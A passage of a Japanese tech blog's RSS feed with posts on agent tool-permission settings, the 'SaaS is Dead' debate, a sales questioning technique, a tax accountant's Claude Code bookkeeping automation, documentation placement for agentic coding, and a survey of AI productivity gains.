&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; agent_governance_toolkit &lt;span style="color:#f92672"&gt;import&lt;/span&gt; CapabilityModel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;capabilities &lt;span style="color:#f92672"&gt;=&lt;/span&gt; CapabilityModel(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; allowed_tools&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;web_search&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;file_read&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; denied_tools&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;file_write&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;shell_exec&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;許可するツールと拒否するツールを明示的に定義し、エージェントが意図しない操作を行うことを防ぐ。&lt;/p&gt;</description></item><item><title>SaaS is Dead? AIに代替される層と残り続ける層</title><link>https://hdknr.github.io/blogs/posts/2026/03/saas-is-dead-ai%E3%81%AB%E4%BB%A3%E6%9B%BF%E3%81%95%E3%82%8C%E3%82%8B%E5%B1%A4%E3%81%A8%E6%AE%8B%E3%82%8A%E7%B6%9A%E3%81%91%E3%82%8B%E5%B1%A4/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/saas-is-dead-ai%E3%81%AB%E4%BB%A3%E6%9B%BF%E3%81%95%E3%82%8C%E3%82%8B%E5%B1%A4%E3%81%A8%E6%AE%8B%E3%82%8A%E7%B6%9A%E3%81%91%E3%82%8B%E5%B1%A4/</guid><description>&lt;p&gt;Anthropic CEOが「ClaudeはSaaSの専門領域を代替できる」と発言したことを引き金に、SaaS株の暴落も重なって「SaaS is Dead」論が再燃している。マネーフォワードの武田氏がこの話題について見解を述べており、総じて同意できる内容だった。結論としては「全部が死ぬわけではなく、AIに代替される層と、人間や専門家でなければ担えない層に分かれる」というものだ。&lt;/p&gt;
&lt;h2 id="なぜ今この話題なのか"&gt;なぜ今この話題なのか&lt;/h2&gt;
&lt;p&gt;この手の議論は以前から繰り返されてきたが、今回が特に大きく取り沙汰されている背景にはAIの急速な進化がある。Anthropicの年間収益はClaude Codeのコーディングエージェントだけで2025年末に10億ドルを超え、2026年2月には25億ドルに倍増するなど、AIレイヤーの成長は加速している。&lt;/p&gt;
&lt;h2 id="saasがdeadであるという根拠"&gt;SaaSがDeadであるという根拠&lt;/h2&gt;
&lt;p&gt;AIレイヤー（チップ・基盤・LLM）の成長率が桁違いに高い一方、その上に乗っかるアプリケーション層＝SaaSの売上成長率は相対的に見劣りしている。リテラシーの高いユーザーがLLMで自前のツールを作り始めており、「お金を払ってSaaSを使う価値」を自製できてしまうケースも出てきている。&lt;/p&gt;
&lt;h2 id="saasがdeadではないという根拠"&gt;SaaSがDeadではないという根拠&lt;/h2&gt;
&lt;p&gt;武田氏がマクロミル時代に自社でSalesforceの代替システムを内製したケースがまさにその典型だ。当初は優秀なシステムだったものの、法令改正・技術的負債・セキュリティ対応などの積み重ねで次第に維持コストが膨らみ、結局後任体制でSalesforceを導入することになった。&lt;/p&gt;
&lt;p&gt;特にバックオフィス系SaaS（会計・人事など）は法令改正への追従が不可欠で、一円でも間違えれば法律違反になるリスクを抱える。AIで作れたとしても「長期的にそれを誰が維持するか」という問題は残り続ける。&lt;/p&gt;
&lt;p&gt;また日本市場特有の問題として、クラウド会計ですら13年かけてもオンプレミス系との勢力図が逆転していない現実がある。AIがさらにその上に乗ってくる変化を、多くの企業がキャッチアップしきれるかは相当懐疑的だという見立てだ。&lt;/p&gt;
&lt;h2 id="二層モデルによる整理soeとsor"&gt;二層モデルによる整理：SOEとSOR&lt;/h2&gt;
&lt;p&gt;武田氏はSaaSを二層に分けて考えることが有効だとしている。&lt;/p&gt;
&lt;h3 id="system-of-engagementsoe-deadになりうる層"&gt;System of Engagement（SOE）— Deadになりうる層&lt;/h3&gt;
&lt;p&gt;人間が使いやすいUIを提供する層。AIエージェントが直接操作するようになれば、人間向けのUIそのものが不要になっていく。この層はDeadになりうる。&lt;/p&gt;
&lt;h3 id="system-of-recordsor-当面変わらない層"&gt;System of Record（SOR）— 当面変わらない層&lt;/h3&gt;
&lt;p&gt;堅牢なデータベースとして記録を保持する層。法令対応・セキュリティ・データ信頼性が問われる領域であり、AIが代替するのは長期的には起こりうるとしても、当面は変わらない。&lt;/p&gt;
&lt;h2 id="saasのヘッドレス化"&gt;SaaSのヘッドレス化&lt;/h2&gt;
&lt;p&gt;マネーフォワードが「SaaSのヘッドレス化」と表現しているのもこの文脈だ。人間が画面を操作するのではなく、AIがMCP（Model Context Protocol）経由でSaaSを操作する形に移行していくという見立てである。&lt;/p&gt;
&lt;p&gt;実際にマネーフォワードは2025年10月に『マネーフォワード クラウド会計』のMCPサーバーβ版を提供開始し、AIエージェントから仕訳入力やレポート作成などの会計業務を実行できるようにしている。&lt;/p&gt;
&lt;p&gt;さらに2025年11月には初のAIネイティブプロダクト『マネーフォワード AI確定申告』β版を提供開始。「どうせ代替されるなら自分たちで最適なものを作る」というスタンスで先手を打っている。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;「SaaS is Dead」は単純な二項対立ではない。UIを提供するEngagement層はAIエージェントに代替されうるが、法令対応やデータの信頼性を担保するRecord層は簡単には置き換わらない。重要なのは、この変化に対してSaaS企業自身がどう適応するかだ。マネーフォワードのように「ヘッドレスSaaS」への転換を自ら進める企業が、次の時代の勝者になるのかもしれない。&lt;/p&gt;</description></item><item><title>キーエンスで学んだ「A&amp;Q」という商談の武器</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%AD%E3%83%BC%E3%82%A8%E3%83%B3%E3%82%B9%E3%81%A7%E5%AD%A6%E3%82%93%E3%81%A0aq%E3%81%A8%E3%81%84%E3%81%86%E5%95%86%E8%AB%87%E3%81%AE%E6%AD%A6%E5%99%A8/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%AD%E3%83%BC%E3%82%A8%E3%83%B3%E3%82%B9%E3%81%A7%E5%AD%A6%E3%82%93%E3%81%A0aq%E3%81%A8%E3%81%84%E3%81%86%E5%95%86%E8%AB%87%E3%81%AE%E6%AD%A6%E5%99%A8/</guid><description>&lt;p&gt;キーエンス出身の営業パーソン・あさひ氏が共有していた「A&amp;amp;Q（Answer &amp;amp; Question）」という商談テクニックが非常に実践的だったので紹介する。&lt;/p&gt;
&lt;h2 id="お客様のfaqになるな"&gt;「お客様のFAQになるな」&lt;/h2&gt;
&lt;p&gt;キーエンス時代に上司から言われていた言葉だという。&lt;/p&gt;
&lt;p&gt;特に展示会後のフォローやインバウンド商談で起きがちなのが、商談が始まった途端に顧客から質問の嵐が飛んでくるパターンだ。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「防水性能は？」&lt;/li&gt;
&lt;li&gt;「初期費用いくら？」&lt;/li&gt;
&lt;li&gt;「納期は？」&lt;/li&gt;
&lt;li&gt;「API連携できる？」&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;今の時代は顧客も事前にWebサイトや生成AIで情報収集しているから、聞きたいことが山ほどある状態で商談に臨んでくる。&lt;/p&gt;
&lt;h2 id="致命的なミス音声版faqになること"&gt;致命的なミス：「音声版FAQ」になること&lt;/h2&gt;
&lt;p&gt;多くの営業パーソンがやってしまうのが、「聞かれたことにただ正確に答えるだけ」のマシーンになってしまうこと。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「防水性能は？」→「はい、IP67です」&lt;/li&gt;
&lt;li&gt;「初期費用は？」→「30万円です」&lt;/li&gt;
&lt;li&gt;「納期は？」→「2週間です」&lt;/li&gt;
&lt;li&gt;「API連携は？」→「可能です」&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;正確に情報を伝えてはいるが、これでは営業パーソンではなくただの「音声版FAQ」でしかない。商談の主導権を完全に顧客に握られてしまう。&lt;/p&gt;
&lt;p&gt;顧客がすべての質問を終えて「わかりました、検討します」と言った瞬間、商談は終了。こちらは顧客の情報を何一つ引き出せないまま、ただ情報を吸い取られただけで終わる。&lt;/p&gt;
&lt;h2 id="営業のミッション"&gt;営業のミッション&lt;/h2&gt;
&lt;p&gt;営業のミッションは「質問に答えること」ではない。&lt;strong&gt;顧客の課題を解決し、幸せになってもらうこと&lt;/strong&gt;だ。&lt;/p&gt;
&lt;p&gt;そのためには顧客の質問の意図を掴んで、こちらから提案のボールを投げ返さなければならない。&lt;/p&gt;
&lt;h2 id="質問の背景を読む"&gt;質問の「背景」を読む&lt;/h2&gt;
&lt;p&gt;顧客の質問には必ず「背景」がある。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「防水性能は？」と聞く人は、水に濡れる環境で使う予定がある&lt;/li&gt;
&lt;li&gt;「納期は？」と聞く人は、いつまでに稼働させたいという期限を抱えている&lt;/li&gt;
&lt;li&gt;「安くなる？」と聞く人は、予算の上限が決まっている&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;質問そのものが「情報の宝庫」への入り口になっている。FAQボットになっている営業パーソンは、この宝の山をみすみす見逃している。&lt;/p&gt;
&lt;h2 id="aqanswer--question"&gt;A&amp;amp;Q：Answer &amp;amp; Question&lt;/h2&gt;
&lt;p&gt;重要なのは、ボールを受けたあとにしっかり打ち返すこと。あさひ氏はこれを「キャッチ＆リターン」と呼んでいた。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A&amp;amp;Q = Answer（回答）のあとに必ず Question（質問）をセットにする。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="具体例防水性能を聞かれたとき"&gt;具体例：防水性能を聞かれたとき&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ダメな対応:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「はい、IP67に対応しています」（終了）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;キーエンス流の対応:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「はい、ご安心ください。最高等級のIP67に対応しております。……ちなみに、今回は防水防塵が必要になるような水や粉塵が舞う過酷な環境下でのご利用をご検討されているのですか？」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;すると顧客が「実は工場の屋外ヤードに置きたくて」と答えてくれる。そこで「屋外であれば防水だけでなく直射日光による熱対策も必要ですね。遮光カバーもセットでご提案できます」と、単価アップやトラブル防止の提案に繋がる。&lt;/p&gt;
&lt;p&gt;スペックを答えるだけでなく、&lt;strong&gt;「なぜそのスペックが必要なのか」という利用シーンを引き出しているのがポイント&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="具体例価格を聞かれたとき"&gt;具体例：価格を聞かれたとき&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ダメな対応:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「はい、その通りです」（価格確認マシーン）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;キーエンス流の対応:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「はい、そのプランでご案内可能です。ちなみに、複数あるプランの中であえてこちらに目をつけていただけた背景をお伺いしてもよろしいですか？」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;すると顧客の「選定基準」が見えてくる。「この機能が必須だから」と言われればその機能を軸にクロージングできるし、「一番安いから」と言われれば機能不足のリスクを説明する必要があるとわかる。&lt;/p&gt;
&lt;h2 id="aqのリズムを身体に染み込ませる"&gt;A&amp;amp;Qのリズムを身体に染み込ませる&lt;/h2&gt;
&lt;p&gt;一方的にこちらから聞くと「尋問」になる。でも相手の質問への打ち返しとして聞けば、極めて自然な「会話」になる。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;なぜ興味を持ってくれているのか&lt;/li&gt;
&lt;li&gt;他社も検討中なのか&lt;/li&gt;
&lt;li&gt;いつ導入したいのか&lt;/li&gt;
&lt;li&gt;予算は確保済みなのか&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらを全部、相手の質問を起点にした会話の中で引き出していく。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;質問に答えるのは義務。でも答えっぱなしにするのは「罪」。相手の質問を利用して相手の懐に深く潜り込む。それが単なる情報提供係から「パートナー」に昇格するための技術だ。&lt;/p&gt;
&lt;p&gt;お客様は生成AIやGoogle検索でわかることを聞くためにあなたを呼んだわけではない。検索では出てこない「自社の課題への最適解」を求めている。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;「FAQにはなるな」&lt;/strong&gt; ── この教えは、営業に携わるすべての人に通じる本質だと思う。&lt;/p&gt;
&lt;h2 id="参考"&gt;参考&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;あさひ著『&lt;a href="https://www.amazon.co.jp/dp/481563307X/"&gt;凡人が天才に勝つ最強の営業 営業に「センス」はいらない&lt;/a&gt;』（2026年3月29日発売）&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>スタッフ0人の税理士がClaude Codeで顧問先60社を1人で回す全手法</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%B9%E3%82%BF%E3%83%83%E3%83%950%E4%BA%BA%E3%81%AE%E7%A8%8E%E7%90%86%E5%A3%AB%E3%81%8Cclaude-code%E3%81%A7%E9%A1%A7%E5%95%8F%E5%85%8860%E7%A4%BE%E3%82%921%E4%BA%BA%E3%81%A7%E5%9B%9E%E3%81%99%E5%85%A8%E6%89%8B%E6%B3%95/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%B9%E3%82%BF%E3%83%83%E3%83%950%E4%BA%BA%E3%81%AE%E7%A8%8E%E7%90%86%E5%A3%AB%E3%81%8Cclaude-code%E3%81%A7%E9%A1%A7%E5%95%8F%E5%85%8860%E7%A4%BE%E3%82%921%E4%BA%BA%E3%81%A7%E5%9B%9E%E3%81%99%E5%85%A8%E6%89%8B%E6%B3%95/</guid><description>&lt;p&gt;スタッフ6人体制から0人へ。年間人件費3,000万円を削減しながら、顧問先60社の経理業務を1人でこなす税理士の事例が話題になっている。その武器は Claude Code だ。&lt;/p&gt;
&lt;p&gt;元記事: &lt;a href="https://cenleaf.com/blog/cpa-claude-code-automation-60companies/"&gt;スタッフ0人で顧問先60社。税理士がClaude Codeで&amp;quot;AI経理&amp;quot;を実現した全手法&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="毎晩21時に60社分の自動仕訳"&gt;毎晩21時に60社分の自動仕訳&lt;/h2&gt;
&lt;p&gt;中核となるのは、毎晩21時に自動実行される仕訳処理だ。freee API から未処理明細を取得し、自動で勘定科目を判定して登録する。処理時間は従来の5時間から50分へと大幅に短縮された。&lt;/p&gt;
&lt;h2 id="2段階の勘定科目判定"&gt;2段階の勘定科目判定&lt;/h2&gt;
&lt;p&gt;仕訳の精度を担保するために、2段階の判定システムが採用されている。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第1段階: キーワード辞書マッチング&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;14カテゴリ、100以上のキーワードで構成された辞書による高速判定。例えば:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Suica → 旅費交通費&lt;/li&gt;
&lt;li&gt;飲食店1万円以下 → 会議費&lt;/li&gt;
&lt;li&gt;飲食店1万円超 → 交際費&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第2段階: Claude API フォールバック&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;辞書でマッチしなかったものは Claude API が判定する。信頼度が低い場合は「人間確認」フラグが立ち、税理士がレビューする仕組みだ。&lt;/p&gt;
&lt;h2 id="7種類の除外ルール"&gt;7種類の除外ルール&lt;/h2&gt;
&lt;p&gt;自動仕訳の対象外として、以下の7種類が除外される:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;内容不明のデビット&lt;/li&gt;
&lt;li&gt;借入返済&lt;/li&gt;
&lt;li&gt;社会保険料・税金&lt;/li&gt;
&lt;li&gt;給与&lt;/li&gt;
&lt;li&gt;投資・資産運用&lt;/li&gt;
&lt;li&gt;ATM出金&lt;/li&gt;
&lt;li&gt;公共料金&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;給与や税金など、金額の誤りが重大な影響を及ぼす項目は自動化の対象外とし、人間が確認する。この「触ってはいけないものを明確にする」線引きが、実務での信頼性を支えている。&lt;/p&gt;
&lt;h2 id="mcp連携で転記ゼロを実現"&gt;MCP連携で「転記ゼロ」を実現&lt;/h2&gt;
&lt;p&gt;Claude Code の MCP（Model Context Protocol）を活用し、5つのサービスと接続している:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;freee&lt;/strong&gt; — 取引データの取得・仕訳登録&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gmail&lt;/strong&gt; — リマインドメールの作成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Calendar&lt;/strong&gt; — スケジュール確認&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notion&lt;/strong&gt; — 議事録からアジェンダ自動生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slack&lt;/strong&gt; — TODO管理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これにより、サービス間の手作業による転記がゼロになった。&lt;/p&gt;
&lt;h2 id="claudemd-とスキルによる業務の言語化"&gt;CLAUDE.md とスキルによる業務の「言語化」&lt;/h2&gt;
&lt;p&gt;技術的に重要なのは、CLAUDE.md に業務の判断基準をすべて言語化して記述している点だ。仕訳分類ルール、税区分の処理方法、セキュリティポリシー、出力先ルールなどが定義されている。&lt;/p&gt;</description></item><item><title>Agentic Coding時代のドキュメント配置: /docs ディレクトリはもう限界？</title><link>https://hdknr.github.io/blogs/posts/2026/03/agentic-coding%E6%99%82%E4%BB%A3%E3%81%AE%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E9%85%8D%E7%BD%AE-/docs-%E3%83%87%E3%82%A3%E3%83%AC%E3%82%AF%E3%83%88%E3%83%AA%E3%81%AF%E3%82%82%E3%81%86%E9%99%90%E7%95%8C/</link><pubDate>Fri, 13 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/agentic-coding%E6%99%82%E4%BB%A3%E3%81%AE%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E9%85%8D%E7%BD%AE-/docs-%E3%83%87%E3%82%A3%E3%83%AC%E3%82%AF%E3%83%88%E3%83%AA%E3%81%AF%E3%82%82%E3%81%86%E9%99%90%E7%95%8C/</guid><description>&lt;p&gt;Agentic Coding（AIエージェントによるコーディング）が普及する中、AIに渡すドキュメントをどこに配置すべきかという問題が注目されています。&lt;a href="https://x.com/yosuke_furukawa/status/2032377413800472967"&gt;古川陽介氏（@yosuke_furukawa）のポスト&lt;/a&gt;で紹介されていた記事「&lt;a href="https://yagmin.com/blog/your-docs-directory-is-doomed/"&gt;Your Docs Directory Is Doomed&lt;/a&gt;」（Yagmin）の内容をもとに、この問題を考えます。&lt;/p&gt;
&lt;h2 id="docs-ディレクトリの進化と限界"&gt;/docs ディレクトリの進化と限界&lt;/h2&gt;
&lt;p&gt;Agentic Coding を始めると、多くのプロジェクトで以下のようなドキュメントが増えていきます:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;まず &lt;code&gt;CLAUDE.md&lt;/code&gt; や &lt;code&gt;AGENTS.md&lt;/code&gt; のような設定ファイルを作成&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ARCHITECTURE.md&lt;/code&gt; でシステム全体の構造を記述&lt;/li&gt;
&lt;li&gt;機能仕様やデザインドキュメントを &lt;code&gt;/docs&lt;/code&gt; フォルダにまとめ始める&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;この流れ自体は自然ですが、記事では &lt;code&gt;/docs&lt;/code&gt; ディレクトリへの集約には根本的な問題があると指摘しています。&lt;/p&gt;
&lt;h2 id="docs-ディレクトリの問題点"&gt;/docs ディレクトリの問題点&lt;/h2&gt;
&lt;h3 id="1-発見可能性discoverability"&gt;1. 発見可能性（Discoverability）&lt;/h3&gt;
&lt;p&gt;LLM はどのドキュメントをいつ読むべきかを自律的に判断する必要があります。&lt;code&gt;/docs&lt;/code&gt; に大量のファイルがある場合、LLM が適切なドキュメントを見つけられる保証はありません。計画フェーズで必要なドキュメントと、コード生成フェーズで必要なドキュメントは異なりますが、それを正しく参照できるでしょうか。&lt;/p&gt;
&lt;h3 id="2-ドキュメントの腐敗documentation-rot"&gt;2. ドキュメントの腐敗（Documentation Rot）&lt;/h3&gt;
&lt;p&gt;コードは頻繁に変更されますが、対応するドキュメントの更新は忘れがちです。小さな不整合が積み重なり、LLM が参照するコンテキストの品質が徐々に劣化していきます。さらに厄介なのは、ドキュメントが間違っていることに気づくための仕組み（observability）がないことです。&lt;/p&gt;
&lt;h3 id="3-構造の欠如"&gt;3. 構造の欠如&lt;/h3&gt;
&lt;p&gt;ドキュメント間の階層関係や依存関係が明示されていないため、LLM がドキュメント群をナビゲートする明確な方法がありません。各自が自分のスタイルで書くため、LLM にとって情報の探索がしにくい構造になります。&lt;/p&gt;
&lt;h3 id="4-変更速度の不一致velocity-mismatch"&gt;4. 変更速度の不一致（Velocity Mismatch）&lt;/h3&gt;
&lt;p&gt;ドキュメントの種類によって変更頻度が異なります。アーキテクチャの概要はめったに変わりませんが、API仕様やコンポーネントの詳細は頻繁に更新されます。一つのディレクトリにすべてをまとめると、この違いが管理を困難にします。&lt;/p&gt;
&lt;h2 id="コロケーションcolocationというアプローチ"&gt;コロケーション（Colocation）というアプローチ&lt;/h2&gt;
&lt;p&gt;古川氏がツイートで触れているように、一つの解決策は&lt;strong&gt;コロケーション&lt;/strong&gt; — ドキュメントをコードの近くに直接配置する方法です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;src/
auth/
README.md # 認証モジュールの説明
auth.ts
auth.test.ts
api/
README.md # APIモジュールの説明
routes.ts
middleware.ts
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;このアプローチの利点:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;発見可能性の向上&lt;/strong&gt;: 関連コードと同じディレクトリにあるため、LLM が自然に参照できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更新の同期&lt;/strong&gt;: コードを変更する際にドキュメントも目に入るため、更新忘れが減る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スコープの明確化&lt;/strong&gt;: 各ドキュメントが担当する範囲が明確&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="agentic-coding-でのドキュメント管理の方向性"&gt;Agentic Coding でのドキュメント管理の方向性&lt;/h2&gt;
&lt;p&gt;「Your Docs Directory Is Doomed」の記事は、従来のドキュメント管理は「1985年からの解決策」に過ぎないと指摘しています。Agentic Coding 時代には、以下の要素が重要になります:&lt;/p&gt;</description></item><item><title>AIによる生産性向上は10倍ではなく10% — DXの400社調査が示す現実</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%AB%E3%82%88%E3%82%8B%E7%94%9F%E7%94%A3%E6%80%A7%E5%90%91%E4%B8%8A%E3%81%AF10%E5%80%8D%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F10-dx%E3%81%AE400%E7%A4%BE%E8%AA%BF%E6%9F%BB%E3%81%8C%E7%A4%BA%E3%81%99%E7%8F%BE%E5%AE%9F/</link><pubDate>Fri, 13 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%AB%E3%82%88%E3%82%8B%E7%94%9F%E7%94%A3%E6%80%A7%E5%90%91%E4%B8%8A%E3%81%AF10%E5%80%8D%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F10-dx%E3%81%AE400%E7%A4%BE%E8%AA%BF%E6%9F%BB%E3%81%8C%E7%A4%BA%E3%81%99%E7%8F%BE%E5%AE%9F/</guid><description>&lt;p&gt;DX 社の Deputy CTO である Justin Reock 氏が、400社のデータを分析した結果を公開しました。AI コーディングツールの導入による開発者の生産性向上は、ベンダーが謳う「2〜3倍」や「10倍」ではなく、&lt;strong&gt;約10%&lt;/strong&gt; にとどまるという内容です。&lt;/p&gt;
&lt;h2 id="調査の概要"&gt;調査の概要&lt;/h2&gt;
&lt;p&gt;DX 社は 2024年11月から2026年2月にかけて、400社のエンジニアリング組織を対象に、AI ツールの利用状況と PR（Pull Request）スループットの相関を分析しました。&lt;/p&gt;
&lt;p&gt;主な結果:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AI ツールの利用率は平均 &lt;strong&gt;65%増加&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;PR スループットは &lt;strong&gt;9.97%（約10%）の増加&lt;/strong&gt; にとどまった&lt;/li&gt;
&lt;li&gt;大半の組織は &lt;strong&gt;8〜12%&lt;/strong&gt; の範囲に収まった&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;なお、PR 目標値を設定しているチーム（メトリクスのインフレーションが起きやすい）は分析から除外されています。&lt;/p&gt;
&lt;h2 id="なぜ10倍にならないのか"&gt;なぜ10倍にならないのか&lt;/h2&gt;
&lt;p&gt;開発者へのインタビューから浮かび上がった根本的な理由は、&lt;strong&gt;「コードを書くこと自体がボトルネックではなかった」&lt;/strong&gt; という点です。&lt;/p&gt;
&lt;p&gt;あるシニア開発者のコメント:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;簡単なタスクは少し楽になった。4日かかるタスクが3日になるかもしれない。でも、それは PR を3倍出せるという意味ではない。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ソフトウェア開発のライフサイクル全体を考えると、コーディングはその一部に過ぎません:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;要件の理解・すり合わせ&lt;/strong&gt; — AI では圧縮しにくい&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コードレビュー&lt;/strong&gt; — 人間同士のコミュニケーションが必要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テスト・デプロイ&lt;/strong&gt; — 組織のプロセスに依存&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;チーム間の調整・ハンドオフ&lt;/strong&gt; — 人間中心の活動&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AI ツールがコーディング速度を50%向上させたとしても、コーディングが全体の15%しか占めていなければ、全体への影響は限定的です。&lt;/p&gt;
&lt;h2 id="10でも価値はある"&gt;10%でも価値はある&lt;/h2&gt;
&lt;p&gt;記事では、10%の生産性向上を過小評価すべきではないとも指摘しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;500人の開発者がいる組織なら、&lt;strong&gt;50人分の追加アウトプット&lt;/strong&gt; に相当&lt;/li&gt;
&lt;li&gt;採用コストなしでその効果が得られる&lt;/li&gt;
&lt;li&gt;組織全体で一貫して得られる改善は意味がある&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="エンジニアリングリーダーへの示唆"&gt;エンジニアリングリーダーへの示唆&lt;/h2&gt;
&lt;p&gt;この調査結果は、AI ツール導入における期待値の設定が重要であることを示しています:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;現実的な目標設定&lt;/strong&gt;: 10倍ではなく10%の改善を前提に ROI を計算する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ボトルネックの正確な把握&lt;/strong&gt;: コーディング以外のプロセス（レビュー、テスト、調整）にも目を向ける&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベンダーの主張を鵜呑みにしない&lt;/strong&gt;: マーケティング上の数字と実測値には大きな乖離がある&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="参考"&gt;参考&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://newsletter.getdx.com/p/ai-productivity-gains-are-10-not"&gt;AI productivity gains are 10%, not 10x — Justin Reock (DX Newsletter)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://x.com/harumak_11/status/2032405472922181667"&gt;元ポスト — Haruki Yano (@harumak_11)&lt;/a&gt;&lt;/li&gt;
